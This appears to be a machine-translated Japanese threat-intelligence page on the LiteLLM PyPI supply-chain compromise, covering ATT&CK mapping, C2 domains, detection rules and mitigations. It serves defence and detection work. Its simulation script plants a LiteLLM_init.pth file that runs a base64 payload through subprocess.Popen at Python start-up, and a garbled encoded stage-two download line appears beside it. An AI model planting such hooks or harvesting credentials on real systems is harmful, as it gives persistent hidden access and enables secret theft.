あなたのAIゲートウェイがバックドアに:LiteLLMサプライチェーン妥協の内側
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
サプライチェーンの妥協が広く使用されているPythonパッケージLiteLLMにPyPIで影響しました。悪意のあるリリース1.82.7と1.82.8は、クラウド認証情報、SSHキー、およびKubernetesシークレットを盗むように設計された三段階のペイロードを配信し、その後クラスタ内でのピボットと永続的なバックドアを確立します。この活動は犯罪グループTeamPCPに帰属し、TrivyやCheckmarxを含むセキュリティツーリングに関与した以前の妥協に関連しているようです。
調査
調査官は、個人アクセスTokenを公開する危険なTrivy GitHub Actionが侵入チェーンにリンクされ、PyPIに対する毒されたLiteLLMバージョンの強制プッシュを可能にしたことを確認しました。コードレビューでは、RSA-4096とAES-256を使用して攻撃者管理のドメインへの保護されたステージングおよび流出を行うレイヤードなBase64重いPythonローダーが明らかにされました。ペイロードはまた、ホストファイルシステムにアクセスしてコレクションを拡大するためのKubernetesポッドも作成しました。PyPI、npm、Docker Hub、GitHubアクション、およびOpenVSX間でのインフラストラクチャの再利用により、孤立したパッケージ乗っ取りではなく協調的な多エコシステムキャンペーンが示されました。
緩和策
特定された悪意のあるドメインをブロックし、潜在的に露出した認証情報を更新し、LiteLLM_init.pthアーチファクトを削除してください。sysmon.serviceのsystemdユーザーユニット経由での永続性を追跡し、予期しない.pthファイルの作成を調査します。ハッシュで検証したインストールを強化することにより、サプライチェーンの露出を減らし、未評価のポストインストール動作を制限または禁止し、外向きフィルタリングを適用します。可能であれば、知られたバレットプルーフホスティングASNに関連するトラフィックを警告するためにJARMフィンガープリントモニタリングを追加してください。
対応
もし侵入が疑われる場合は、影響を受けたシステムを隔離し、悪意のあるPythonプロセスを終了し、trojan化されたLiteLLMパッケージと永続性ファイルを削除してください。全ての収集されたシークレットを直ちに更新し、クラウド認証情報とLLM APIキーを優先してください。Base64エンコードされたPython実行チェーン、.pthファイルドロップ、およびmodels.litellm.cloudまたはcheckmarx.zoneへの異常なHTTPS POST活動の検出を展開してください。
キーワード: LiteLLM、サプライチェーン攻撃、PyPI、TeamPCP、Trivy、Checkmarx、GitHub Actions、Kubernetesシークレット、.pth永続性、認証情報の窃取、RSA-4096、AES-256、外向きフィルタリング、JARMフィンガープリント
"graph TB %% クラス定義セクション classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% ノード定義セクション action_initial_supply_chain["<b>アクション</b> – <b>T1195.001 ソフトウェア依存関係と開発ツールの妥協</b><br/>敵はAqua Securityボットトークンを危険なTrivy GitHub アクションワークフローを介して取得した"] class action_initial_supply_chain action tool_trivy_github_action["<b>ツール</b> – <b>名前</b>: Trivy GitHub Action<br/><b>説明</b>: コンテナイメージのCIワークフロースキャン"] class tool_trivy_github_action tool process_publish_malicious["<b>プロセス</b> – PyPIへの悪意のLiteLLMリリース配信"] class process_publish_malicious process technique_supply_chain_attack["<b>技術</b> – <b>T1195.002 ソフトウェアサプライチェーンの妥協</b><br/>悪意のLiteLLMバージョン1.82.7と1.82.8がPyPIに押し出された"] class technique_supply_chain_attack technique technique_python_execution["<b>技術</b> – <b>T1059.006 コマンドおよびスクリプトインタープリター: Python</b><br/>.pthファイルはインタープリター開始時に自動的にロードされる"] class technique_python_execution technique file_pth["<b>ファイル</b> – LiteLLM_init.pth<br/>siteu2011packagesに配置され、Pythonインタープリターによってautou2011loadされる"] class file_pth file technique_user_execution["<b>技術</b> – <b>T1204.002 ユーザー実行: 悪意のあるファイル</b><br/>`pip install LiteLLM==1.82.8`は即時のペイロード実行を引き起こす"] class technique_user_execution technique technique_credential_harvest["<b>技術</b> – <b>T1552.001 ファイル内の認証情報</b><br/>コレクターがSSHキー、クラウド構成、.envファイル、データベース認証情報、仮想通貨ウォレットを読み取る"] class technique_credential_harvest technique technique_metadata["<b>技術</b> – <b>T1552.005 無防備な認証情報: クラウドインスタンスメタデータAPI</b><br/>AWS、GCP、およびAzureメタデータサービスに問い合わせ、IAMトークンの一時的〈読み込み〉を取得する"] class technique_metadata technique technique_os_cred_dump["<b>技術</b> – <b>T1003 OS認証情報ダンピング</b><br/>/etc/shadowと認証ログから認証情報データを読み取る"] class technique_os_cred_dump technique technique_obfuscation["<b>技術</b> – <b>T1027 不透明化されたファイルまたは情報</b><br/>複数のbase64レイヤー、バイナリパディング、ストリップされたペイロード、動的API解決、AESu2011256u2011CBC暗号化、RSAu20114096ラッパー"] class technique_obfuscation technique technique_exfiltration["<b>技術</b> – <b>T1041 C2チャネル経由のデータ流出</b><br/>HTTPS POST経由で暗号化された認証情報バンドルがmodels.litellm.cloudに送信される"] class technique_exfiltration technique technique_web_service["<b>技術</b> – <b>T1102.001 ウェブサービス: ドロップリゾルバーの死者</b><br/>バックドアがsecond-stageペイロード用にcheckmarx.zone/rawをポーリングし、ステータスを報告する"] class technique_web_service technique technique_persistence["<b>技術</b> – <b>T1543.002 システムプロセスの作成または変更: Systemdサービス</b><br/>ユーザーu2011レベルのsysmon.serviceは再起動を超えて永続性のためにインストールされる"] class technique_persistence technique technique_container_lateral["<b>技術</b> – <b>T1543.005 システムプロセスの作成または変更: コンテナサービス</b><br/>クラスターu2011ワイドな横方向の移動のためにホストファイルシステムアクセスを持つ特権Kubernetesポッドが作成される"] class technique_container_lateral technique technique_remote_services["<b>技術</b> – <b>T1133 外部リモートサービス</b><br/>維持されたバックドアがC2ポーラーを通じてリモートコマンド実行を可能にする"] class technique_remote_services technique technique_defense_evasion["<b>技術</b> – <b>T1140 ファイルまたは情報のデオブスクエート/デコード</b><br/>マルチu2011レイヤーペイロードの実行時デコードはスタティック検出を回避する"] class technique_defense_evasion technique %% 接続セクション action_initial_supply_chain –>|使用する| tool_trivy_github_action tool_trivy_github_action –>|につながる| process_publish_malicious process_publish_malicious –>|結果として| technique_supply_chain_attack technique_supply_chain_attack –>|を有効にする| technique_python_execution technique_python_execution –>|ロードする| file_pth file_pth –>|をトリガーする| technique_user_execution technique_user_execution –>|によって引き起こされる| technique_credential_harvest technique_credential_harvest –>|も行う| technique_metadata technique_metadata –>|と組み合わせて| technique_os_cred_dump technique_os_cred_dump –>|によって不透明化される| technique_obfuscation technique_obfuscation –>|につながる| technique_exfiltration technique_exfiltration –>|を使用する| technique_web_service technique_web_service –>|を確立する| technique_persistence technique_persistence –>|を有効にする| technique_container_lateral technique_container_lateral –>|をサポートする| technique_remote_services technique_remote_services –>|を容易にする| technique_defense_evasion "
攻撃フロー
検出
OpenSSLを使用したファイルの暗号化または復号の可能性 [Linux] (cmdline経由)
ビュー
アーカイブがLinuxのtmpフォルダーに作成されました (file_event経由)
ビュー
疑わしいCURL使用 (cmdline経由)
ビュー
アーカイブがMacOSの一時フォルダーに作成されました (file_event経由)
ビュー
OpenSSLを使用したファイルの暗号化または復号の可能性 [MacOS] (cmdline経由)
ビュー
サイト固有の構成フックファイルが作成された可能性があります (file_event経由)
ビュー
悪意のあるPythonパッケージIOCs (cmdline経由)
ビュー
疑わしいCurl実行試行 [MacOS] (cmdline経由)
ビュー
Systemdフォルダでのサービスファイル作成 (file_event経由)
ビュー
検出用 IOCs (DestinationIP): Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise
ビュー
検出用 IOCs (SourceIP): Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise
ビュー
悪意のあるLiteLLMパッケージが.pthファイルとsubprocess.Popen使用を通じて検出されました [Linuxプロセス作成]
ビュー
LiteLLMサプライチェーン攻撃での悪意のあるドメインを経由したデータ流出とC2通信 [Firewall]
ビュー
シミュレーション実行
前提条件: テレメトリとベースラインの前飛行チェックが合格している必要があります。
根拠: このセクションは、検出ルールを引き起こすように設計された敵対者の技法 (TTP) の正確な実行を詳細に説明します。コマンドと説明は明確に特定されたTTPを反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診につながります。
-
攻撃の状況説明とコマンド:
一般公開を妥協した攻撃者LiteLLMPyPIパッケージが悪意のある.pthという名前のファイルを注入しますLiteLLM_init.pth。このファイルはグローバルなsite‑packagesディレクトリに配置され、 any Pythonインタープリターが開始するたびに処理されます。.pthはbase64エンコードされたペイロードを実行するsubprocess.Popenによって1行を含みます。ペイロードは、C2サーバーからHTTPS経由で第2ステージツールをダウンロードし、/tmp/creds.txt(T1552.*)に盗まれた資格情報を書き込みます。インタープリター開始フックを使用することで、攻撃者はsystemdユニットを変更することなく持続性を達成し、多くの従来のプロセス作成ベースラインを回避します。シミュレートされた手順は以下の通りです:
- 悪意のある
.pth.pth 埋め込みPythonコードでファイルを作成します。 - Pythonインタープリター開始をトリガーする (例:
python3 -c "import sys") 、.pthが実行されるようにします。 - 埋め込まれたコードは base64ペイロードをデコードし 、
subprocess.Popenでそれを起動し、コマンドラインにLiteLLM_init.pthとsubprocess.Popen.
- 悪意のある
-
の両方を含むプロセスを生成します。
回帰テストスクリプト:以下のスクリプトは、Ubuntuテストホストでの攻撃シミュレーション全体を自動化します。 #!/usr/bin/env bash set -euo pipefail # ---------- 1. 悪意のある.pthペイロードを作成 ---------- MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p" # 上記は、セカンドステージペイロードをダウンロードするちょっとしたPythonスクリプトにデコードされます。 # テスト環境での安全性のために、無害なエコーコマンドに置き換えています。 PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0) # .pthファイルに書き込み – インタープリター開始時にPythonコードとして行が実行されます echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null echo "[+] 悪意のある.pthファイルが${MALICIOUS_PTH_PATH}に作成されました" # ---------- 2. インタープリター開始をトリガー (テレメトリを生成) ---------- echo "[+] Pythonインタープリターを読み込む.pthをトリガー..." python3 -c "import sys; print('trigger')" # ---------- 3. ペイロードが実行されたことを確認 ---------- if grep -q "malicious executed" /tmp/malicious.log; then echo "[+] ペイロードが正常に実行されました – 検出が発火するはずです。" else echo "[-] ペイロードは実行されませんでした – .pthの配置と権限を確認してください。" fi -
クリーンアップコマンド: #!/usr/bin/env bash set -euo pipefail MALICIOUS_PTH_PATH=”/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth” # 悪意のある.pthファイルを削除する if sudo test -f “${MALICIOUS_PTH_PATH}”; then sudo rm -f “${MALICIOUS_PTH_PATH}” echo “[+] 悪意のある.pthファイルが削除されました。” fi # ペイロードによって作成された痕跡ファイルを削除 if test -f “/tmp/malicious.log”; then sudo rm -f “/tmp/malicious.log” echo “[+] /tmp/malicious.logをクリーンアップしました。” fi # 必要に応じて監査ルールを削除(専用のテストルールを追加した場合) # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation
#!/usr/bin/env bash set -euo pipefail MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" # Remove the malicious .pth file if sudo test -f "${MALICIOUS_PTH_PATH}"; then sudo rm -f "${MALICIOUS_PTH_PATH}" echo "[+] Removed malicious .pth file." fi # Delete the evidence file created by the payload if test -f "/tmp/malicious.log"; then sudo rm -f "/tmp/malicious.log" echo "[+] Cleaned up /tmp/malicious.log." fi # Optionally remove the audit rule (if you added a dedicated test rule) # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation